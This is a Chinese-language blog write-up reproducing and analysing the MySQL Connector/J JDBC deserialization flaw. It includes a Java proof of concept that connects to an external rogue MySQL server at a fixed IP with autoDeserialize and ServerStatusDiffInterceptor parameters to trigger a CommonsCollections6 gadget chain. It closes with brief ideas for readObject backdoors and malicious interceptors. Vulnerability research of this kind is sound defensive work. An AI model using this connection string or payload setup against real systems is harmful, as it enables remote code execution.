Java安全-JDBC反序列化

JDBC

JDBC(Java DataBase Connectivity,java数据库连接)是一种用于执行Sql语句的Java Api,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现。

jdbc:mysql://127.0.0.1:3306/db?user=root&pass=root

漏洞复现

加入依赖

<dependencies>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.12</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
import java.sql.*;

public class JdbcTest {
    public static void main(String[] args) throws Exception{
        Class.forName("com.mysql.cj.jdbc.Driver");
        String user = "yso_CommonsCollections6_calc";
        String jdbc_url = "jdbc:mysql://116.62.63.234:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user="+user;
        Connection conn = DriverManager.getConnection(jdbc_url);
        conn.close();
    }
}

使用MySQL_Fake_Server 搭建恶意服务器,需要修改一下config.json 中的yso 的地址。

发起连接后,触发cc6利用链的反序列化。但是计算器弹了4个,也就是触发了有4次反序列化。

漏洞分析

getConnecttion入口进去后,使用com.mysql.cj.jdbc.Driver 连接。

然后构建ConnectionUrl对象

使用com.mysql.cj.conf.ConnectionUrlParser分割URL,

分割出来四种

scheme -> jdbc:mysql:(数据库连接类型)
authority -> host:port
path -> 数据库
query -> 查询语句(带入的参数)

然后

这里调用ConnetionUrl的构造函数,对query字段进行分割

最后生成的ConnectionUrl对象如下

接下来调用

ConnectionImpl.*getInstance* 方法,ConnectionUrl对象的hosts属性 作为参数,创建一个ConnectionImpl 对象,

构造方法里,将hosts中的的属性分割,然后写入propertySet属性中,根据url中添加的,覆盖掉PropertyDefinition中的默认值。

接着会创建this.sessionNativeSession对象。

接下来创建一个到服务器的IO通道

里面存在初始化服务器的操作,设置自动自动提交。

connectOneTryOnly()->initializePropsFromServer()->handleAutoCommitDefaults()->setAutoCommit()

这里存在一次SQL语句的执行,

然乎调用 com.mysql.cj.protocol.a.NativeProtocol对象的sendQueryString 方法来发送

然后又调用sendQueryPacket 方法,如果NativeProtocol 对象的queryInterceptors 查询拦截器属性不为null,就会调用invokeQueryInterceptorsPre 方法,

随后触发该拦截器的preProcess 方法,至于

执行一次 SHOW SESSION STATUS 查询,并将结果返回给ResultSetUtil.*resultSetToMap*

然后只需要这里的autoDeserialize 属性值为true就可以进入反序列化了。

preProcess 结束后,又会触发拦截器的postProcess方法

至此漏洞触发两次。

handleAutoCommitDefaults() 方法结束后

setupServerForTruncationChecks() 方法中又会执行一次execSQL

进而漏洞再次触发两次。

填坑

刚刚漏洞触发的流程必不可少的两部分

1.

NativeProtocol对象的queryInterceptors 属性不为null

先前的ConnectionImpl对象中,初始化了一个NativeSession对象,后续的与服务器连接中都跟他有关系。然后调用

initializeSafeQueryInterceptors 初始化查询拦截器。

这里需要jdbc连接的属性中queryInterceptors 的值来加载类。所以这里要指定拦截器的类名,我们刚刚所调用的拦截器的方法,其实是在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 类中。

2.

还有ResultSetImpl 对象的中,需要有jdbc连接的autoDeserialize 属性为true,才会进入反序列化。

所以这也就解释了url中为什么会有这两个参数。

autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

存在任意写的Gadgets下的利用

  1. 写一个readObject 后门,然后使用在jdbc连接时发送此后门的序列化数据。
  2. queryInterceptors参数会指定拦截器,写一个恶意拦截器,重写preProcess方法,然后在url指定其全类名。

Ref

https://github.com/fnmsd/MySQL_Fake_Server
https://meizjm3i.github.io/2021/03/07/Servlet%E4%B8%AD%E7%9A%84%E6%97%B6%E9%97%B4%E7%AB%9E%E4%BA%89%E4%BB%A5%E5%8F%8AAsjpectJWeaver%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget%E6%9E%84%E9%80%A0-AntCTFxD-3CTF-non-RCE%E9%A2%98%E8%A7%A3/

点击收藏 | 2 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖